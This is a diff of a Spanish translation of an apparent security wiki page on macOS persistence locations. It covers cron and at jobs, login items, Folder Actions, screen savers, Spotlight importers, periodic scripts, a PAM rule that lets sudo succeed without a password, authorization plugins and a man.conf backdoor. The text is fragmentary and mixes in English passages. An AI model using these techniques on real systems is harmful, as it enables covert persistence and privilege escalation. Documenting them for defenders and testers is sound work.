||||
Allí puedes encontrar los **trabajos cron** regulares, los **trabajos at** (poco utilizados) y los **trabajos periódicos** (principalmente utilizados para limpiar archivos temporales). Los trabajos periódicos diarios se pueden ejecutar, por ejemplo, con: `periodic daily`.
|
||||
Aquí puedes encontrar los **trabajos cron** regulares, los **trabajos at** (poco utilizados) y los **trabajos periódicos** (principalmente utilizados para limpiar archivos temporales). Los trabajos periódicos diarios se pueden ejecutar, por ejemplo, con: `periodic daily`.
|
||||
|
||||
Para agregar un **trabajo cron de usuario programáticamente** es posible utilizar:
|
||||
```bash
|
||||
|
@ -435,19 +435,19 @@ chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
|
|||
|
||||
#### Launch Agents
|
||||
|
||||
Launch Agents are used to run processes when a user logs in. They are stored in `~/Library/LaunchAgents/` and `/Library/LaunchAgents/`.
|
||||
Launch Agents are used to run processes when a user logs in. They are located in `~/Library/LaunchAgents/` and `/Library/LaunchAgents/`.
|
||||
|
||||
#### Launch Daemons
|
||||
|
||||
Launch Daemons are used to run processes at system startup. They are stored in `/Library/LaunchDaemons/`.
|
||||
Launch Daemons are used to run processes at system boot or login. They are located in `/Library/LaunchDaemons/` and `/System/Library/LaunchDaemons/`.
|
||||
|
||||
#### Login Items
|
||||
|
||||
Login Items are applications that open when a user logs in. They are managed in System Preferences > Users & Groups > Login Items.
|
||||
Login Items are applications that open when a user logs in. They can be managed in `System Preferences > Users & Groups > Login Items`.
|
||||
|
||||
#### Startup Items
|
||||
|
||||
Startup Items are legacy items that automatically launch when a user logs in. They are stored in `/Library/StartupItems/`.
|
||||
Startup Items are legacy items that automatically launch when a user logs in. They are located in `/Library/StartupItems/`.
|
||||
```bash
|
||||
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
|
||||
#!/usr/bin/env python3
|
||||
|
@ -519,7 +519,7 @@ Descripción: [https://theevilbit.github.io/beyond/beyond\_0007/](https://theevi
|
|||
|
||||
#### Descripción
|
||||
|
||||
Si el popular programa [**xbar**](https://github.com/matryer/xbar) está instalado, es posible escribir un script de shell en **`~/Library/Application\ Support/xbar/plugins/`** que se ejecutará cuando se inicie xbar:
|
||||
Si el popular programa [**xbar**](https://github.com/matryer/xbar) está instalado, es posible escribir un script de shell en **`~/Library/Application\ Support/xbar/plugins/`** que se ejecutará al iniciar xbar:
|
||||
```bash
|
||||
cat > "$HOME/Library/Application Support/xbar/plugins/a.sh" << EOF
|
||||
#!/bin/bash
|
||||
|
@ -554,7 +554,7 @@ EOF
|
|||
```
|
||||
### BetterTouchTool
|
||||
|
||||
* Útil para evadir la sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Útil para evadir el sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Pero BetterTouchTool debe estar instalado
|
||||
* Bypass de TCC: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Solicita permisos de Automatización de accesos directos y Accesibilidad
|
||||
|
@ -567,7 +567,7 @@ Esta herramienta permite indicar aplicaciones o scripts para ejecutar cuando se
|
|||
|
||||
### Alfred
|
||||
|
||||
* Útil para evadir la sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Útil para evadir el sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Pero Alfred debe estar instalado
|
||||
* Bypass de TCC: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Solicita permisos de Automatización, Accesibilidad e incluso acceso completo al disco
|
||||
|
@ -576,13 +576,13 @@ Esta herramienta permite indicar aplicaciones o scripts para ejecutar cuando se
|
|||
|
||||
* `???`
|
||||
|
||||
Permite crear flujos de trabajo que pueden ejecutar código cuando se cumplen ciertas condiciones. Potencialmente, un atacante podría crear un archivo de flujo de trabajo y hacer que Alfred lo cargue (es necesario pagar la versión premium para usar flujos de trabajo).
|
||||
Permite crear flujos de trabajo que pueden ejecutar código cuando se cumplen ciertas condiciones. Potencialmente, es posible que un atacante cree un archivo de flujo de trabajo y haga que Alfred lo cargue (es necesario pagar la versión premium para usar flujos de trabajo).
|
||||
|
||||
### SSHRC
|
||||
|
||||
Descripción: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.github.io/beyond/beyond\_0006/)
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.github.io/beyond/beyond\_0006/)
|
||||
|
||||
* Útil para evadir la sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Útil para evadir el sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Pero ssh necesita estar habilitado y utilizado
|
||||
* Bypass de TCC: [✅](https://emojipedia.org/check-mark-button)
|
||||
* SSH solía tener acceso completo al disco
|
||||
|
@ -606,7 +606,7 @@ sudo systemsetup -setremotelogin on
|
|||
|
||||
Por defecto, a menos que `PermitUserRC no` en `/etc/ssh/sshd_config`, cuando un usuario **inicia sesión a través de SSH** los scripts **`/etc/ssh/sshrc`** y **`~/.ssh/rc`** se ejecutarán.
|
||||
|
||||
### **Elementos de inicio de sesión**
|
||||
### **Elementos de Inicio de Sesión**
|
||||
|
||||
Descripción: [https://theevilbit.github.io/beyond/beyond\_0003/](https://theevilbit.github.io/beyond/beyond\_0003/)
|
||||
|
||||
|
@ -625,7 +625,7 @@ Descripción: [https://theevilbit.github.io/beyond/beyond\_0003/](https://theevi
|
|||
|
||||
#### Descripción
|
||||
|
||||
En Preferencias del Sistema -> Usuarios y Grupos -> **Elementos de inicio de sesión** puedes encontrar **elementos que se ejecutarán cuando el usuario inicie sesión**.\
|
||||
En Preferencias del Sistema -> Usuarios y Grupos -> **Elementos de Inicio de Sesión** puedes encontrar **elementos que se ejecutarán cuando el usuario inicie sesión**.\
|
||||
Es posible listarlos, agregar y eliminar desde la línea de comandos:
|
||||
```bash
|
||||
#List all items:
|
||||
|
@ -645,7 +645,7 @@ Los **elementos de inicio de sesión** también se pueden indicar utilizando la
|
|||
|
||||
(Consulte la sección anterior sobre Elementos de Inicio de Sesión, esta es una extensión)
|
||||
|
||||
Si almacenas un archivo **ZIP** como un **Elemento de Inicio de Sesión**, el **`Archive Utility`** lo abrirá y si el zip estaba almacenado, por ejemplo, en **`~/Library`** y contenía la carpeta **`LaunchAgents/file.plist`** con un backdoor, esa carpeta se creará (no lo está de forma predeterminada) y el plist se agregará para que la próxima vez que el usuario vuelva a iniciar sesión, se ejecute el **backdoor indicado en el plist**.
|
||||
Si almacenas un archivo **ZIP** como un **Elemento de Inicio de Sesión**, el **`Archive Utility`** lo abrirá y si el zip, por ejemplo, se almacenó en **`~/Library`** y contenía la carpeta **`LaunchAgents/file.plist`** con un backdoor, esa carpeta se creará (no lo está por defecto) y el plist se agregará para que la próxima vez que el usuario vuelva a iniciar sesión, se **ejecute el backdoor indicado en el plist**.
|
||||
|
||||
Otra opción sería crear los archivos **`.bash_profile`** y **`.zshenv`** dentro del directorio HOME del usuario, por lo que si la carpeta LaunchAgents ya existe, esta técnica seguiría funcionando.
|
||||
|
||||
|
@ -673,7 +673,7 @@ Esto creará un archivo en 1 hora:
|
|||
```bash
|
||||
echo "echo 11 > /tmp/at.txt" | at now+1
|
||||
```
|
||||
Verifique la cola de trabajos usando `atq:`
|
||||
Verifique la cola de trabajos usando `atq`:
|
||||
```shell-session
|
||||
sh-3.2# atq
|
||||
26 Tue Apr 27 00:46:00 2021
|
||||
|
@ -714,7 +714,7 @@ echo 11 > /tmp/at.txt
|
|||
Si las tareas de AT no están habilitadas, las tareas creadas no se ejecutarán.
|
||||
{% endhint %}
|
||||
|
||||
Los **archivos de trabajo** se pueden encontrar en `/private/var/at/jobs/`
|
||||
Los **archivos de tarea** se pueden encontrar en `/private/var/at/jobs/`
|
||||
```
|
||||
sh-3.2# ls -l /private/var/at/jobs/
|
||||
total 32
|
||||
|
@ -744,10 +744,10 @@ Análisis: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-
|
|||
#### Ubicación
|
||||
|
||||
* **`/Library/Scripts/Folder Action Scripts`**
|
||||
* Se requiere permisos de root
|
||||
* **Disparador**: Acceso a la carpeta especificada
|
||||
* Se requieren permisos de root
|
||||
* **Desencadenador**: Acceso a la carpeta especificada
|
||||
* **`~/Library/Scripts/Folder Action Scripts`**
|
||||
* **Disparador**: Acceso a la carpeta especificada
|
||||
* **Desencadenador**: Acceso a la carpeta especificada
|
||||
|
||||
#### Descripción y Explotación
|
||||
|
||||
|
@ -757,7 +757,7 @@ Para configurar Acciones de Carpeta, tienes opciones como:
|
|||
|
||||
1. Crear un flujo de trabajo de Acción de Carpeta con [Automator](https://support.apple.com/guide/automator/welcome/mac) e instalarlo como un servicio.
|
||||
2. Adjuntar un script manualmente a través de la Configuración de Acciones de Carpeta en el menú contextual de una carpeta.
|
||||
3. Utilizar OSAScript para enviar mensajes de Evento Apple a la aplicación `System Events.app` para configurar programáticamente una Acción de Carpeta.
|
||||
3. Utilizar OSAScript para enviar mensajes de Evento de Apple a la aplicación `System Events.app` para configurar programáticamente una Acción de Carpeta.
|
||||
* Este método es particularmente útil para incrustar la acción en el sistema, ofreciendo un nivel de persistencia.
|
||||
|
||||
El siguiente script es un ejemplo de lo que puede ser ejecutado por una Acción de Carpeta:
|
||||
|
@ -774,7 +774,7 @@ Para hacer que el script anterior sea utilizable por las Acciones de Carpeta, co
|
|||
```bash
|
||||
osacompile -l JavaScript -o folder.scpt source.js
|
||||
```
|
||||
Después de compilar el script, configura las Acciones de Carpeta ejecutando el script a continuación. Este script habilitará las Acciones de Carpeta de forma global y adjuntará específicamente el script previamente compilado a la carpeta de Escritorio.
|
||||
Después de compilar el script, configura las Acciones de Carpeta ejecutando el script a continuación. Este script habilitará las Acciones de Carpeta de forma global y adjuntará específicamente el script previamente compilado a la carpeta Escritorio.
|
||||
```javascript
|
||||
// Enabling and attaching Folder Action
|
||||
var se = Application("System Events");
|
||||
|
@ -812,7 +812,7 @@ mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
|
|||
```
|
||||
Luego, abre la aplicación `Folder Actions Setup`, selecciona la **carpeta que deseas vigilar** y selecciona en tu caso **`folder.scpt`** (en mi caso lo llamé output2.scp):
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="297"><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="297"><figcaption></figcaption></figure>
|
||||
|
||||
Ahora, si abres esa carpeta con **Finder**, tu script se ejecutará.
|
||||
|
||||
|
@ -824,7 +824,7 @@ Ahora, intentemos preparar esta persistencia sin acceso a la GUI:
|
|||
* `cp ~/Library/Preferences/com.apple.FolderActionsDispatcher.plist /tmp`
|
||||
2. **Elimina** las Acciones de Carpeta que acabas de configurar:
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Ahora que tenemos un entorno vacío
|
||||
|
||||
|
@ -840,7 +840,7 @@ Y esto no funcionó para mí, pero esas son las instrucciones del informe :(
|
|||
Informe: [https://theevilbit.github.io/beyond/beyond\_0027/](https://theevilbit.github.io/beyond/beyond\_0027/)
|
||||
|
||||
* Útil para evadir el sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Pero necesitas tener instalada una aplicación maliciosa en el sistema
|
||||
* Pero necesitas tener instalada una aplicación maliciosa dentro del sistema
|
||||
* Bypass de TCC: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### Ubicación
|
||||
|
@ -930,9 +930,9 @@ Descripción: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevil
|
|||
|
||||
* `/Library/ColorPickers`
|
||||
* Se requieren permisos de root
|
||||
* Desencadenante: Usar el selector de color
|
||||
* Desencadenar: Usar el selector de color
|
||||
* `~/Library/ColorPickers`
|
||||
* Desencadenante: Usar el selector de color
|
||||
* Desencadenar: Usar el selector de color
|
||||
|
||||
#### Descripción y Exploit
|
||||
|
||||
|
@ -951,7 +951,7 @@ Ten en cuenta que el binario que carga tu biblioteca tiene un **sandbox muy rest
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
### Plugins de Sincronización de Finder
|
||||
### Complementos de Sincronización del Finder
|
||||
|
||||
**Descripción**: [https://theevilbit.github.io/beyond/beyond\_0026/](https://theevilbit.github.io/beyond/beyond\_0026/)\
|
||||
**Descripción**: [https://objective-see.org/blog/blog\_0x11.html](https://objective-see.org/blog/blog\_0x11.html)
|
||||
|
@ -965,17 +965,17 @@ Ten en cuenta que el binario que carga tu biblioteca tiene un **sandbox muy rest
|
|||
|
||||
#### Descripción y Exploit
|
||||
|
||||
Un ejemplo de aplicación con una Extensión de Sincronización de Finder [**se puede encontrar aquí**](https://github.com/D00MFist/InSync).
|
||||
Un ejemplo de aplicación con una Extensión de Sincronización del Finder [**se puede encontrar aquí**](https://github.com/D00MFist/InSync).
|
||||
|
||||
Las aplicaciones pueden tener `Extensiones de Sincronización de Finder`. Esta extensión se incluirá en una aplicación que se ejecutará. Además, para que la extensión pueda ejecutar su código **debe estar firmada** con un certificado de desarrollador de Apple válido, debe estar **en sandbox** (aunque se pueden agregar excepciones relajadas) y debe estar registrada con algo como:
|
||||
Las aplicaciones pueden tener `Extensiones de Sincronización del Finder`. Esta extensión se incluirá en una aplicación que se ejecutará. Además, para que la extensión pueda ejecutar su código, **debe estar firmada** con un certificado de desarrollador de Apple válido, debe estar **sometida al sandbox** (aunque se podrían agregar excepciones relajadas) y debe estar registrada con algo como:
|
||||
```bash
|
||||
pluginkit -a /Applications/FindIt.app/Contents/PlugIns/FindItSync.appex
|
||||
pluginkit -e use -i com.example.InSync.InSync
|
||||
```
|
||||
### Protector de pantalla
|
||||
|
||||
Escritura: [https://theevilbit.github.io/beyond/beyond\_0016/](https://theevilbit.github.io/beyond/beyond\_0016/)\
|
||||
Escritura: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b)
|
||||
Descripción: [https://theevilbit.github.io/beyond/beyond\_0016/](https://theevilbit.github.io/beyond/beyond\_0016/)\
|
||||
Descripción: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https://posts.specterops.io/saving-your-access-d562bf5bf90b)
|
||||
|
||||
* Útil para evadir el sandbox: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Pero terminarás en un sandbox de aplicación común
|
||||
|
@ -992,13 +992,13 @@ Escritura: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https:/
|
|||
* `~/Library/Screen Savers`
|
||||
* **Desencadenar**: Seleccionar el protector de pantalla
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
#### Descripción y Exploit
|
||||
|
||||
Crea un nuevo proyecto en Xcode y selecciona la plantilla para generar un nuevo **Protector de pantalla**. Luego, agrega tu código, por ejemplo el siguiente código para generar registros.
|
||||
|
||||
**Compílalo**, y copia el paquete `.saver` en **`~/Library/Screen Savers`**. Luego, abre la GUI del Protector de pantalla y si haces clic en él, debería generar muchos registros:
|
||||
**Compílalo**, y copia el paquete `.saver` a **`~/Library/Screen Savers`**. Luego, abre la GUI del Protector de pantalla y si haces clic en él, debería generar muchos registros:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -1109,7 +1109,7 @@ writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.
|
|||
Spotlight es la función de búsqueda integrada de macOS, diseñada para proporcionar a los usuarios un acceso rápido y completo a los datos en sus computadoras.\
|
||||
Para facilitar esta capacidad de búsqueda rápida, Spotlight mantiene una base de datos **propia** y crea un índice al **analizar la mayoría de los archivos**, lo que permite búsquedas rápidas tanto por nombres de archivo como por su contenido.
|
||||
|
||||
El mecanismo subyacente de Spotlight implica un proceso central llamado 'mds', que significa **'servidor de metadatos'**. Este proceso orquesta todo el servicio de Spotlight. Complementariamente, existen múltiples demonios 'mdworker' que realizan una variedad de tareas de mantenimiento, como indexar diferentes tipos de archivos (`ps -ef | grep mdworker`). Estas tareas son posibles a través de complementos importadores de Spotlight, o **paquetes ".mdimporter"**, que permiten a Spotlight comprender e indexar contenido en una amplia gama de formatos de archivo.
|
||||
El mecanismo subyacente de Spotlight implica un proceso central llamado 'mds', que significa **'servidor de metadatos'**. Este proceso orquesta todo el servicio de Spotlight. Complementariamente, existen múltiples demonios 'mdworker' que realizan una variedad de tareas de mantenimiento, como indexar diferentes tipos de archivos (`ps -ef | grep mdworker`). Estas tareas son posibles a través de complementos de importación de Spotlight, o **paquetes ".mdimporter"**, que permiten a Spotlight comprender e indexar contenido en una amplia gama de formatos de archivo.
|
||||
|
||||
Los complementos o **paquetes `.mdimporter`** se encuentran en los lugares mencionados anteriormente y si aparece un nuevo paquete, se carga en cuestión de minutos (no es necesario reiniciar ningún servicio). Estos paquetes deben indicar qué **tipo de archivo y extensiones pueden gestionar**, de esta manera, Spotlight los utilizará cuando se cree un nuevo archivo con la extensión indicada.
|
||||
|
||||
|
@ -1164,10 +1164,10 @@ Si revisas el Plist de otros `mdimporter`, es posible que no encuentres la entra
|
|||
Además, los complementos predeterminados del sistema siempre tienen prioridad, por lo que un atacante solo puede acceder a archivos que no estén indexados por los propios `mdimporters` de Apple.
|
||||
{% endhint %}
|
||||
|
||||
Para crear tu propio importador, podrías comenzar con este proyecto: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) y luego cambiar el nombre, los **`CFBundleDocumentTypes`** y agregar **`UTImportedTypeDeclarations`** para que admita la extensión que deseas y reflejarlos en **`schema.xml`**.\
|
||||
Para crear tu propio importador, podrías comenzar con este proyecto: [https://github.com/megrimm/pd-spotlight-importer](https://github.com/megrimm/pd-spotlight-importer) y luego cambiar el nombre, los **`CFBundleDocumentTypes`** y agregar **`UTImportedTypeDeclarations`** para que admita la extensión que deseas soportar y reflejarlos en **`schema.xml`**.\
|
||||
Luego **cambia** el código de la función **`GetMetadataForFile`** para ejecutar tu carga útil cuando se cree un archivo con la extensión procesada.
|
||||
|
||||
Finalmente, **compila y copia tu nuevo `.mdimporter`** en una de las ubicaciones anteriores y puedes verificar cuándo se carga **monitoreando los registros** o verificando **`mdimport -L.`**
|
||||
Finalmente, **compila y copia tu nuevo `.mdimporter`** en una de las ubicaciones anteriores y puedes verificar cuándo se carga **monitoreando los registros** o revisando **`mdimport -L.`**
|
||||
|
||||
### ~~Panel de Preferencias~~
|
||||
|
||||
|
@ -1209,10 +1209,10 @@ Descripción: [https://theevilbit.github.io/beyond/beyond\_0019/](https://theevi
|
|||
|
||||
* `/etc/periodic/daily`, `/etc/periodic/weekly`, `/etc/periodic/monthly`, `/usr/local/etc/periodic`
|
||||
* Se requiere ser root
|
||||
* **Disparador**: Cuando llegue el momento
|
||||
* **Disparador**: Cuando llega el momento
|
||||
* `/etc/daily.local`, `/etc/weekly.local` o `/etc/monthly.local`
|
||||
* Se requiere ser root
|
||||
* **Disparador**: Cuando llegue el momento
|
||||
* **Disparador**: Cuando llega el momento
|
||||
|
||||
#### Descripción y Explotación
|
||||
|
||||
|
@ -1258,16 +1258,16 @@ daily_local="/etc/daily.local" # Local scripts
|
|||
weekly_local="/etc/weekly.local" # Local scripts
|
||||
monthly_local="/etc/monthly.local" # Local scripts
|
||||
```
|
||||
Si logras escribir alguno de los archivos `/etc/daily.local`, `/etc/weekly.local` o `/etc/monthly.local`, será **ejecutado tarde o temprano**.
|
||||
Si logras escribir alguno de los archivos `/etc/daily.local`, `/etc/weekly.local` o `/etc/monthly.local`, se **ejecutará tarde o temprano**.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Ten en cuenta que el script periódico se ejecutará como el propietario del script. Por lo tanto, si un usuario regular es el propietario del script, se ejecutará como ese usuario (esto podría prevenir ataques de escalada de privilegios).
|
||||
Ten en cuenta que el script periódico se **ejecutará como el propietario del script**. Por lo tanto, si un usuario regular es el propietario del script, se ejecutará como ese usuario (esto podría prevenir ataques de escalada de privilegios).
|
||||
{% endhint %}
|
||||
|
||||
### PAM
|
||||
|
||||
Explicación: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\
|
||||
Explicación: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.github.io/beyond/beyond\_0005/)
|
||||
Writeup: [Linux Hacktricks PAM](../linux-hardening/linux-post-exploitation/pam-pluggable-authentication-modules.md)\
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevilbit.github.io/beyond/beyond\_0005/)
|
||||
|
||||
* Útil para evadir el sandbox: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Pero necesitas ser root
|
||||
|
@ -1279,7 +1279,7 @@ Explicación: [https://theevilbit.github.io/beyond/beyond\_0005/](https://theevi
|
|||
|
||||
#### Descripción y Explotación
|
||||
|
||||
Dado que PAM se enfoca más en la **persistencia** y en el malware que en la ejecución sencilla dentro de macOS, este blog no proporcionará una explicación detallada, **lee las explicaciones para entender mejor esta técnica**.
|
||||
Dado que PAM se enfoca más en la **persistencia** y en el malware que en la ejecución sencilla dentro de macOS, este blog no proporcionará una explicación detallada, **lee los artículos para entender mejor esta técnica**.
|
||||
|
||||
Verifica los módulos de PAM con:
|
||||
```bash
|
||||
|
@ -1289,7 +1289,7 @@ Una técnica de persistencia/escalada de privilegios que abusa de PAM es tan fá
|
|||
```bash
|
||||
auth sufficient pam_permit.so
|
||||
```
|
||||
Por lo tanto, **se verá** algo así:
|
||||
Así se verá algo como esto:
|
||||
```bash
|
||||
# sudo: auth account password session
|
||||
auth sufficient pam_permit.so
|
||||
|
@ -1303,7 +1303,7 @@ session required pam_permit.so
|
|||
Y, por lo tanto, cualquier intento de usar **`sudo` funcionará**.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Ten en cuenta que este directorio está protegido por TCC, por lo que es muy probable que el usuario reciba una solicitud pidiendo acceso.
|
||||
Tenga en cuenta que este directorio está protegido por TCC, por lo que es muy probable que el usuario reciba una solicitud pidiendo acceso.
|
||||
{% endhint %}
|
||||
|
||||
### Plugins de Autorización
|
||||
|
@ -1361,13 +1361,13 @@ EOF
|
|||
|
||||
security authorizationdb write com.asdf.asdf < /tmp/rule.plist
|
||||
```
|
||||
El **`evaluate-mechanisms`** le dirá al marco de autorización que necesitará **llamar a un mecanismo externo para la autorización**. Además, **`privileged`** hará que se ejecute como root.
|
||||
El comando **`evaluate-mechanisms`** indicará al marco de autorización que necesitará **llamar a un mecanismo externo para la autorización**. Además, **`privileged`** hará que se ejecute como root.
|
||||
|
||||
Actívalo con:
|
||||
```bash
|
||||
security authorize com.asdf.asdf
|
||||
```
|
||||
Y luego el grupo **staff debe tener acceso sudo** (leer `/etc/sudoers` para confirmar).
|
||||
Y luego el grupo **staff debe tener acceso sudo** (lee `/etc/sudoers` para confirmar).
|
||||
|
||||
### Man.conf
|
||||
|
||||
|
@ -1385,13 +1385,13 @@ Explicación: [https://theevilbit.github.io/beyond/beyond\_0030/](https://theevi
|
|||
|
||||
#### Descripción y Exploit
|
||||
|
||||
El archivo de configuración **`/private/etc/man.conf`** indica el binario/script a utilizar al abrir archivos de documentación de man. Por lo tanto, la ruta al ejecutable podría modificarse para que cada vez que el usuario use man para leer algunos documentos, se ejecute una puerta trasera.
|
||||
El archivo de configuración **`/private/etc/man.conf`** indica el binario/script a utilizar al abrir archivos de documentación de man. Por lo tanto, la ruta al ejecutable podría ser modificada para que cada vez que el usuario use man para leer algunos documentos, se ejecute una puerta trasera.
|
||||
|
||||
Por ejemplo, establecido en **`/private/etc/man.conf`**:
|
||||
```
|
||||
MANPAGER /tmp/view
|
||||
```
|
||||
Y luego crea `/tmp/view` de la siguiente manera:
|
||||
Y luego crear `/tmp/view` como:
|
||||
```bash
|
||||
#!/bin/zsh
|
||||
|
||||
|
@ -1416,7 +1416,9 @@ touch /tmp/manconf
|
|||
|
||||
#### Descripción y Exploit
|
||||
|
||||
Puedes indicar en `/etc/apache2/httpd.conf` que cargue un módulo agregando una línea como:
|
||||
Puedes indicar en `/etc/apache2/httpd.conf` que cargue un módulo agregando una línea como esta:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
LoadModule my_custom_module /Users/Shared/example.dylib "My Signature Authority"
|
||||
```
|
||||
|
@ -1468,7 +1470,7 @@ Puedes forzar una advertencia con `sudo audit -n`.
|
|||
**Esto está obsoleto, por lo que no debería encontrarse nada en esos directorios.**
|
||||
{% endhint %}
|
||||
|
||||
El directorio **StartupItem** debe estar ubicado dentro de `/Library/StartupItems/` o `/System/Library/StartupItems/`. Una vez establecido este directorio, debe contener dos archivos específicos:
|
||||
El **StartupItem** es un directorio que debería estar ubicado dentro de `/Library/StartupItems/` o `/System/Library/StartupItems/`. Una vez establecido este directorio, debe contener dos archivos específicos:
|
||||
|
||||
1. Un **script rc**: Un script de shell ejecutado al inicio.
|
||||
2. Un archivo **plist**, específicamente nombrado `StartupParameters.plist`, que contiene varias configuraciones.
|
||||
|
@ -1499,33 +1501,25 @@ Asegúrate de que tanto el script rc como el archivo `StartupParameters.plist` e
|
|||
|
||||
### Ubicaciones de inicio automático de macOS
|
||||
|
||||
macOS ofrece varias ubicaciones donde se pueden configurar aplicaciones y scripts para que se inicien automáticamente al iniciar sesión. Estas ubicaciones pueden ser aprovechadas por los atacantes para lograr persistencia en un sistema comprometido.
|
||||
#### Introducción
|
||||
|
||||
#### 1. Carpetas de inicio
|
||||
En macOS, hay varias ubicaciones donde se pueden configurar programas para que se inicien automáticamente al arrancar el sistema. Estos programas pueden ser legítimos o maliciosos, y es importante conocer estas ubicaciones para garantizar la seguridad de tu sistema.
|
||||
|
||||
Las siguientes carpetas de inicio pueden contener elementos que se ejecutan al iniciar sesión:
|
||||
#### Ubicaciones comunes de inicio automático
|
||||
|
||||
- `/Library/StartupItems/`
|
||||
- `/Library/LaunchDaemons/`
|
||||
- `/Library/LaunchAgents/`
|
||||
- `/System/Library/LaunchDaemons/`
|
||||
- `/System/Library/LaunchAgents/`
|
||||
- `/Users/<username>/Library/LaunchAgents/`
|
||||
1. **LaunchAgents**: Estos son scripts de inicio de sesión de usuario que se ejecutan cuando un usuario inicia sesión. Se encuentran en `~/Library/LaunchAgents/` y `/Library/LaunchAgents/`.
|
||||
|
||||
#### 2. Configuración de usuario
|
||||
2. **LaunchDaemons**: Estos son scripts de inicio del sistema que se ejecutan al arrancar el sistema, independientemente de si un usuario inicia sesión. Se encuentran en `/Library/LaunchDaemons/`.
|
||||
|
||||
La configuración de inicio automático de usuario se puede encontrar en:
|
||||
3. **Login Items**: Estos son programas o scripts que se inician cuando un usuario inicia sesión. Se pueden encontrar en Preferencias del Sistema > Usuarios y Grupos > Elementos de inicio.
|
||||
|
||||
- Preferencias del sistema > Usuarios y grupos > Elementos de inicio
|
||||
4. **Startup Items**: Aunque obsoletos en versiones más recientes de macOS, los Startup Items eran programas que se ejecutaban al arrancar el sistema. Se encontraban en `/Library/StartupItems/`.
|
||||
|
||||
#### 3. Programas de inicio
|
||||
#### Verificación y eliminación
|
||||
|
||||
Los programas de inicio se pueden configurar en:
|
||||
Para verificar y eliminar programas no deseados en estas ubicaciones, puedes revisar manualmente cada una de ellas o utilizar herramientas de seguridad especializadas que escaneen y detecten programas maliciosos de inicio automático.
|
||||
|
||||
- `/Library/Preferences/com.apple.loginitems.plist`
|
||||
- `/Library/Preferences/loginwindow.plist`
|
||||
|
||||
Al revisar estas ubicaciones, se puede identificar y eliminar cualquier elemento no deseado que se esté ejecutando automáticamente al iniciar sesión en macOS.
|
||||
Es importante mantener estas ubicaciones seguras para evitar que programas no autorizados se ejecuten en tu sistema sin tu conocimiento.
|
||||
|
||||
{% endtab %}
|
||||
```bash
|
||||
|
@ -1549,20 +1543,20 @@ RunService "$1"
|
|||
### **emond**
|
||||
|
||||
{% hint style="danger" %}
|
||||
No puedo encontrar este componente en mi macOS, para más información revisa el artículo
|
||||
No puedo encontrar este componente en mi macOS, para obtener más información consulta el informe técnico.
|
||||
{% endhint %}
|
||||
|
||||
Artículo: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
|
||||
Informe técnico: [https://theevilbit.github.io/beyond/beyond\_0023/](https://theevilbit.github.io/beyond/beyond\_0023/)
|
||||
|
||||
Introducido por Apple, **emond** es un mecanismo de registro que parece estar subdesarrollado o posiblemente abandonado, pero sigue siendo accesible. Aunque no es particularmente beneficioso para un administrador de Mac, este servicio oscuro podría servir como un método sutil de persistencia para actores de amenazas, probablemente pasando desapercibido para la mayoría de los administradores de macOS.
|
||||
|
||||
Para aquellos que conocen su existencia, identificar cualquier uso malicioso de **emond** es sencillo. El LaunchDaemon del sistema para este servicio busca scripts para ejecutar en un solo directorio. Para inspeccionar esto, se puede utilizar el siguiente comando:
|
||||
Para aquellos que conocen su existencia, identificar cualquier uso malicioso de **emond** es sencillo. El LaunchDaemon del sistema para este servicio busca scripts para ejecutar en un directorio único. Para inspeccionar esto, se puede utilizar el siguiente comando:
|
||||
```bash
|
||||
ls -l /private/var/db/emondClients
|
||||
```
|
||||
### XQuartz
|
||||
|
||||
